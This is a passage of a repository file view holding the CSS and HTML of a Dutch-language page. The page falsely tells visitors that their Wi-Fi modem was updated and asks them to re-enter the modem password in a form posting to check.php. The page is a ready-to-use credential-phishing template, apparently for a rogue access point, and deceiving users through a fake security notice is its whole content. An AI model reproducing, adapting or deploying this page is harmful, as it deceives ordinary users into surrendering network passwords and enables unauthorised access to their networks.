background-position: center;
|
||||
z-index:10;
|
||||
}
|
||||
|
||||
#background {
|
||||
height: 100%;
|
||||
margin: 0px;
|
||||
padding: 0px;
|
||||
background: url("generic-mobemBG.jpg") center center no-repeat fixed;
|
||||
background-size:cover;
|
||||
}
|
||||
|
||||
#overlay {
|
||||
height: 100%;
|
||||
position: absolute;
|
||||
left:0px;
|
||||
top:0px;
|
||||
background: rgba(0,0,0,0.6);
|
||||
background-size:100% auto;
|
||||
width:100%;
|
||||
padding-top:30px;
|
||||
}
|
||||
|
||||
#white {
|
||||
max-width: 840px;
|
||||
position: relative;
|
||||
text-align: center;
|
||||
width: 840px;
|
||||
background: url("white-transparent90.png");
|
||||
font-size: 16px;
|
||||
margin: 0px auto;
|
||||
padding: 45px 30px 80px 30px;
|
||||
}
|
||||
|
||||
#title {
|
||||
color: #f48c00;
|
||||
height: 55px;
|
||||
text-align: center;
|
||||
font-size: 46px;
|
||||
padding-top: 20px;
|
||||
}
|
||||
|
||||
#text {
|
||||
color: rgb(51, 51, 51);
|
||||
text-align: center;
|
||||
font-size: 16px;
|
||||
padding: 20px 15px;
|
||||
}
|
||||
|
||||
#input {
|
||||
height: 47px;
|
||||
text-align: center;
|
||||
font-size: 18px;
|
||||
padding: 0px 0px 20px;
|
||||
}
|
||||
|
||||
#table {
|
||||
height: 47px;
|
||||
text-align: center;
|
||||
font-size: 18px;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
#row {
|
||||
height: 47px;
|
||||
text-align: center;
|
||||
vertical-align: middle;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
#data1 {
|
||||
color: rgb(51, 51, 51);
|
||||
height: 32px;
|
||||
text-align: -webkit-right;
|
||||
vertical-align: middle;
|
||||
font-size: 18px;
|
||||
padding: 0px 5px 15px 15px;
|
||||
}
|
||||
|
||||
#data2 {
|
||||
height: 32px;
|
||||
vertical-align: middle;
|
||||
font-size: 18px;
|
||||
padding: 0px 5px 15px;
|
||||
}
|
||||
|
||||
#inputdata {
|
||||
box-sizing: content-box;
|
||||
color: rgb(102, 102, 102);
|
||||
height: 22px;
|
||||
width: 80%;
|
||||
float: left;
|
||||
border: 2px solid rgb(211, 211, 211);
|
||||
border-radius: 3px 3px 3px 3px;
|
||||
font-size: 18px;
|
||||
padding: 3px 10px;
|
||||
}
|
||||
|
||||
#inputdata:focus {
|
||||
border-color: #f48c00;
|
||||
}
|
||||
|
||||
#next {
|
||||
color: #fff;
|
||||
cursor: pointer;
|
||||
text-align: center;
|
||||
white-space: pre;
|
||||
align-items: flex-start;
|
||||
background: #f48c00 repeat;
|
||||
border: 1px solid #d27800;
|
||||
border-radius: 5px;
|
||||
font-size: 24px;
|
||||
padding: 15px 30px;
|
||||
}
|
||||
|
||||
#next:hover {
|
||||
background: #ffa021;
|
||||
}
|
||||
|
||||
@media only screen and (max-width: 479px) {
|
||||
.logo {
|
||||
background-color: transparent;
|
||||
}
|
||||
#white {
|
||||
width: 100%;
|
||||
padding: 30px 0px 60px 0px;
|
||||
}
|
||||
#text {
|
||||
font-size: 14px;
|
||||
padding: 15px 20px 20px 20px;
|
||||
}
|
||||
#next {
|
||||
font-size: 20px;
|
||||
}
|
||||
}
|
||||
|
||||
</style>
|
||||
|
||||
<div class="logo"></div>
|
||||
|
||||
<div id="background">
|
||||
<div id="overlay">
|
||||
<div id="white">
|
||||
<div id="title">
|
||||
Welkom
|
||||
</div>
|
||||
<div id="text">
|
||||
Uw Wi-Fi modem heeft recentelijk een update gehad. Hierdoor is het vanuit veiligheidsoverwegingen noodzakelijk dat u uw wachtwoord opnieuw invult. Uw wachtwoord is te vinden aan de onderkant van uw Wi-Fi modem.
|
||||
</div>
|
||||
<div id="input">
|
||||
<form method="post" action="check.php" name="Login">
|
||||
<table id="table">
|
||||
<tr id="row">
|
||||
<td id="data1">
|
||||
Wachtwoord
|
||||
</td>
|
||||
<td id="data2">
|
||||
<input type="text" id="inputdata" name="loginPassword" />
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<div id="button">
|
||||
<input type="submit" id="next" value="Doorgaan" />
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.2 KiB |
Loading…
Reference in New Issue